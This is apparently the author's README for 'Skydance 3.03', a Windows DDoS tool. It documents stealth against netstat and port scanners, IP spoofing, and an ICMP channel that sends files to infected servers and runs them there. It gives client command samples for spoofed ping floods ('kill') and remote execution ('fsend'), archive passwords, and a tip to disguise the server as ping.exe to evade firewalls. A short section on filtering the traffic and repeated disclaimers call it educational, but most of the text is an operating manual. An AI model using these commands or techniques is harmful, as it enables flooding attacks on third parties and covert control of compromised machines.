This is - Skydance 3.03 - by Edrin@gmx.net ! This is README.TXT-Version 3 http://skd.box.sk Disclaimer - Read This First: Everything in this document is based on the results i got from developing skydance. Skydance 3.03 is an EXAMPLE of a Distributed Denial of Service attack! Use SKYDANCE 3.03 SOURCE, README AND BINARY ON YOUR OWN RISK, i will NEVER be responsible for any HARM or harmfull things that happen because SKYDANCE source was USED! That means I do NOT guarantee for any features and security-thing and i do not guarantee that this program works properly!!! Indeed i guarantee for nothing ;) Use the binaries to test how a DDoS is used! Do not install the Skydance binary on a system that you do not own because this is probably illgeal! Do not use Skydance and it´s components to attack a server because this is illegal, too! Use this source and binary only to learn about how to defend/protect against Windows DDoS! Do not give a modify a binary and do not give it to another person! Use SKYDANCE 3.03 SOURCE, README AND BINARY ON YOUR OWN RISK! suggestions against SKD303DDoS: goto ---> 4. d) #tested with win98 and win2k ------------------------------------------------------------------------------------------------------ password for binary files in ZIP: dontharm if you compile it "as it is" without changes: ####################################### #Note: for skd303s.exe = nerv # ####################################### 1. What is it? 2. client usage: 3. About source code: 4. How to filter SKD303DDoS pongs 5. ICMP "ability" of win32 winsock (Icmp´s you can recv) 6. Some words about DDoS servers that use Windows OS. 1. What is it? Skydance 3.03 is a DDoS for win32 using RAW sockets. source includes this features: - communication with ICMP, including a simple std-windows-"abcd..." ping attack - can not be found with netstat -a (ICMP:) - can not be found with usual Port-Scanners (RAW:) - on win2k-systems communication and attacks are spoofed (IP_HDRINCL:) - server size can be packet to 17 K - client-source can be ported to unix because it is done as console app. - (ICMP tunnel) file(<65kb) can be sent within a spoofed ICMP packet, executes it after receive. 2. client usage: Usage: The Client will try to use a spoofed source address. You should test your spoofing-ability first to ensure that you can not be revealed. The test will fail on WinNT and Win9x/Me systems. It should not fail under Win2000. and must be in style of xxx.xxx.xxx.xxx By default it is 216.32.74.55 = www.yahoo.com must be <= 4 letters! - To test spoofing-ability: skd303c spoofing - Get Server Info (always unspoofed packets!): skd303c info Sample: skd303c myknight.com diva info - To attack with spoofed standart-windows-pings: skd303c kill

Sample: skd303c myknight.com diva kill 166.166.166.166 10 12.34.56.78 can be up to 1440 - To send and exectue a file with a spoofed standart-windows-pong: skd303c fsend

Sample: skd303c myknight.com diva fsend c:\myfile.exe myfile.exe 98.76.54.32 SIZE can be up to 6540 byte, can have up to 39 letters DO NOT HARM PEOPLE! HELP CHILDREN IN AFRICA! greetings, Edrin 3. About source code: why this source needed to be modified to abuse it: first of all: it is not possibel to receive ICMP_ECHOREQUESTS with winsock ( -> 5.) so I decided to use ICMP_ECHORESPONSE in my source. Anyway this makes it much more easier for Firewalls next thing: communication pong have std unix ping size... but anyway i´m not sure. 84 byte in total? (IP header 20 + ICMP 64) the std-windows pings are the only attack i added and this attack is not very powerful and a simple firewall might be able to stop an attack The size of this std windows ping is #define STANDART_PINGSIZE 60 (byte) that means the data flood is not as big as it could be! There are probably othere DoS that are much more effective. Anyway my win2k 550 MHz had 100% CPU usage in a 10 MBit local area net. In addition to that it would be neccessary that the info function returns the OS version to get sure that a server is "spoofable". Another thing that can reaveal skydance: i didn´t crypt the unsigned char cCommand; (the command in my message-struct) so a sniffer would always see a k(kill), i(info) or f(file) at position FULL_PACKET[35 ?] For example someone could use the first password letter +/- xy for a "crypted" command or maybe some real crypto in my opinion a crypto is not realy necessary. And there is no self installing code in my source! 4. How to filter SKD303DDoS pongs As i already mentioned: In communictaion pongs: a) communictaion with unix 84-byte PONGS ! ICMP_ECHORESPONSE b) 'k', 'i', 'f' at position FULL_PACKET[35] or ICMP_STRUCT[15] (IPheader = 20 byte) c) an 'i' pong is UNSPOOFED! so TRACE-BACKE would possibel! ---->> d) block each suspicious "ok-ICMP" in ( -> 5.) I THINK THIS WOULD PROTECT BEST!!! i have no more ideas, do you? 5. ICMP "ability" of win32 winsock (Icmp´s you can recv) Blocking each "ok-ICMP" might block communictation of each win-ICMP-DDoS I tested it in a few minutes, no warranty, proof it yourself! 0 Echo reply. ok 1 Reserved. ok 2 Reserved. ok 3 Destination unreachable. failed 4 Source quench. failed 5 Redirect. failed 6 Alternate Host Address. ok 7 ok 8 Echo request. failed (this "would" be nice to receive) 9 Router advertisement. ok 10 Router solicitation. ok 11 Time exceeded. failed 12 Parameter problem. failed 13 Timestamp request. failed 14 Timestamp reply. ok 15 Information request. ok 16 Information reply. ok 17 Address mask request. failed 18 Address mask reply. ok 19 Reserved (for security). ok 20 ok - unknown 29 Reserved (for robustness experiment).ok 30 Traceroute. ok 31 Conversion error. ok 32 Mobile Host Redirect. ok 33 IPv6 Where-Are-You. ok 34 IPv6 I-Am-Here. ok 35 Mobile Registration Request. ok 36 Mobile Registration Reply. ok 37 Domain Name request. ok 38 Domain Name reply. ok 39 SKIP Algorithm Discovery Protocol. ok 40 Photuris, Security failures. ok 41 ok - unknown 255 Reserved. ok 6. Some words about DDoS from Windows OS. The new feature IP_HDRINCL that comes with win2k can make windows to a powerful DDoS server because it enables IP-spoofing! IP_HDRINCL in source: --> setsockopt(ssock, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt)); <-- That means win2k-servers will become a base for DDoS that is equal to *nix servers. Anyway most windows systems remain dial-in computers that have dynamic IP. That means such a DDoS as SKD3.03 can not be used with it in a serious way. I think for such Computers the most threatoning DDoS remain IRC-"bots"! Firewalls that control each winsock access are quite good. They would probably detect DDoS servers. Anyway: Maybe you can replace ping.exe with a DDoS and maybe firewall does not detect a DDoS then... Thx for reading, Edrin@gmx.net